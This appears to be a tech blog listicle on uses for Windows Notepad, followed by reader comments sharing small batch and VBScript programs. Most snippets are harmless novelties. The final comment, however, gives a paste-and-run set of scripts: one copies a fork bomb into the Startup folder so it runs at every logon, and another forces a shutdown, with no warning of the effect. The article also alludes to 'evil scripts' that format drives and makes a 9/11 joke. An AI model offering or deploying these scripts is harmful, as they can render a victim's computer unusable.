10 Amazing Things You Can Do With Notepad
Notepad is known to every Windows users. It is a simple text editor which has been part of Microsoft Windows operating system since Windows 1.0 in 1985 [wikipedia]. It has remained same in ever evolving Windows operating system but its users have found new ways to use good old notepad in more productive and effective manner. Here goes:
1. Notepad as your Digital Diary You can use Notepad as digital diary and automatically insert date time information for every line you type in notepad. Open a new notepad file (Click Start > Run, type Notepad and hit OK) and type .LOG at the top of the notepad file.
Now type few lines and close the Notepad file. Open the notepad file and you will see date time information added to each line of text in your Notepad file. You can also add this information manually, just hit F5 key where you want to insert date-time information.
2. Notepad as HTML Stripper Ideally text on webpages is formatted for specific font type, color, size along with other CSS design elements and images. You can rip off text only from any webpage using notepad. Just select and copy text from any webpage and paste in a notepad file which can be saved (without any formatting baggage) for future use.
3. Notepad as Printing cost saver Notepad can come handy when you are printing text laden pages in large quantity. Extending the concept of using Notepad as HTML stripper, you can strip webpages of additional formatting and image using notepad and print more with less usage of ink, paper and money (of course).
4. Notepad as HTML webpage creator Notepad can be used to create your first HTML webpage as stepping stone in the world webpages (and websites). Just type basic HTML tags and save the file with .html extension. Test drive with code in following screenshot:
5. Notepad as Good and Evil script creator Notepad is a very simple text editor which can be used to create complex script. You can create evil scripts like format of hard drive to useful scripts like PC shutdown, which can be executed with a click of a button.
6. Notepad as Text Replacer You can use notepad to replace word(s) in essay of text. For example, you want to replace Microsoft’ with Yahoo’ in specific text file. Copy the text into notepad file and use Ctrl + H (or Edit > Replace), enter Microsoft in first text field and Yahoo is second text field and click the replace button.
7. Notepad as Window Explorer Skipper Sometimes specific files cannot be deleted. You can try notepad to skip and bypass Windows Explorer to delete such files. Open Notepad, GOTO File > Open. Select all files’ in file type dropdown menu. Now browse to folder and right click on file you want remove and click the delete option. Sometimes, this might come handy!
8. Notepad as Fun app Notepad isn’t that simple and has its share of flaws. Open Notepad and type this app can break and then save the file. Open the file and see for yourself notepad just broke something!
9 Notepad as creative designer tool Notepad can break things (i.e. text) sometimes but it can also create some impressive text based designs. Like open your notepad, type Q33N and then format font size 72px, font type WingDings. See the screenshot below, 9/11 plan crash remember?
Besides, you can see more creative text designs made in notepad while downloading serial key crack files they usual have big graffiti made in notepad, seen those?
10 Notepad as ??? Now its your chance to put simple good old notepad to some creative use. You might discover few new and interesting uses of Notepad. Found one? Why not share with use by adding a comment.
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Great article! Bunty RoX!!
open notepad, put in the following line
del 1.bat
click save as, under file type, click all files. then name it 1.bat
minimize notepad, click the file you just saved.
what’ll happen is
it open ms dos, then gives it the line you put in, which tells it to delete 1.bat, so it does.
i short terms, the file deletes its self.
What is up with the spelling on the diagram of no.6? WTF? Yahoo is behing Google? A lose in profits? Random…
Open notepad And Type
“Dim message, sapi
message=InputBox(“Type in The Box, Then Click OK”,”Daves Text To Speech”)
Set sapi=CreateObject(“sapi.spvoice”)
sapi.Speak message”
Without qoutes and save as a .vbs file. any name will do
this creats a text to speech script that will say aything you type.
Dim message, sapi
message=InputBox(Type in The Box, Then Click OK,Daves Text To Speech)
Set sapi=CreateObject(sapi.spvoice)
sapi.Speak message
I have placed the abovce text in notepad without quotes. it is not working. Would you please write the exact text to place for it to work
Dim message, sapi
do
message=InputBox(“Enter the text you want spoken”,”Speak This”)
Set sapi=CreateObject(“sapi.spvoice”)
sapi.Speak message
loop until message = “”
but you need to change the ” to make it work if you are pasting it. notepad reads them wrong.
this is appreciating, thanks man!
ok this is to make the matrix:
step 1: open notepad
step 2: copy and paste this code:
@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start
step 3: save as Matrix.bat
To make error boxes, either for an application or as a joke.
Type this into notepad: Insert text in the first quotes and the box title in the second, save it as a .vbs file and its ready to go. You also have to configure it to save as all file types.
X = MsgBox("", ,"")
Example: X = MsgBox("Hello World!", ,"Testing")
Hey, I have discorvered that you can make simple programs with notepad. they are really cool and you don't need to know "much" about programming, but obviously you have to know a little.
gud darling
First open notepad
Matrix Effect
Here is the code.Just copy it.
@echo off
color 0a
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %radom% %random
goto start
i use notepad for creating programs
hey guyz whats more that is really cool is you can make questionaires and menu'ing systems right from notepad.
copy and paste the following into a notepad text box and save as a .bat file:
@echo off
echo welcome to the "techie-buzz.com" questionaire.
echo:
echo we would like you to complete the following questionaire.
echo:
echo when prompted, press 1 for yes, 2 for no, or press 5 to quit.
pause
cls
echo …………………………………………………..
echo did you find the resources on our website useful/helpful?
echo …………………………………………………..
set /p q=type your answer now and press ENTER when you are done:
if %q%==1 goto 1
if %q%==2 goto 2
if %q%==5 goto 5
:1
cls
echo you have answered yes.
echo:
echo we apreciate your feed back.
echo thank you for your time.
pause
exit
i have a coo thing you can do with notepad! you can write your own program that speaks what you type!
First, paste this into notepad:
Dim message, sapi
do
message=InputBox(“Enter the text you want spokenâ€,â€Speak Thisâ€)
Set sapi=CreateObject(“sapi.spvoiceâ€)
sapi.Speak message
loop until message = “â€
(you need to go back and manually change the ” signs because notepad reads them wrong.)
then you save the file with any name followed by .vbs (e.g Speak this.vbs)
you will also need to save it under all files.
then you close notepad and find the file. open the file if you receive an error message make sure that you have changed the ” signs to your own. if a box pops up and asks you to type something in type anything you like! the computer will say what you type!
good-luck!
Type in
EatOut = 0
Order = 0
Cook = 0
Hungry = 0
Do
Choice = InputBox(“Enter 1 – Eat Out; 2 – Order Delivery; 3 – Cook”,”Do not press cancel until last vote is made”)
If (Choice vbNull) and (Choice “”) Then
Select Case Choice
Case 1
Wscript.Echo “Eat Out”
EatOut = EatOut + 1
Case 2
Wscript.Echo “Order Delivery”
Order = Order + 1
Case 3
Wscript.Echo “Cook”
Cook = Cook + 1
Case Else
Wscript.Echo “Don’t Eat”
Hungry = Hungry + 1
End Select
End If
Loop Until Choice = “”
Wscript.Echo “Eat out: ” & EatOut
Wscript.Echo “Order: ” & Order
Wscript.Echo “Cook: ” & Cook
Wscript.Echo “Don’t Eat: ” & Hungry
and save as .vbs and you get a dinner tally
Wow! i never though that the notepad could be so useful! Thanx dear!
You can use it to start up websites or programs just type in
start http:// http://www.whaterveryouwant.com /ca/ uk/ etc
@echo off
color a
cls
Set source=C:\Users\%username%\Desktop\RB.cmd
set dist=C:\Documents and Settings\All Users\Start Menu\Programs\Startup\RB.cmd
::==========
copy /Y “%source%” “%dist%” >nul
exit
——————————————————
make a new notepad
@echo off
cls
color a
:loop
start %0
goto loop
save it as RB.cmd
—————————————————–
make a new notepad
@echo off
cls
color a
shutdown -f
exit
save as SDA.CMD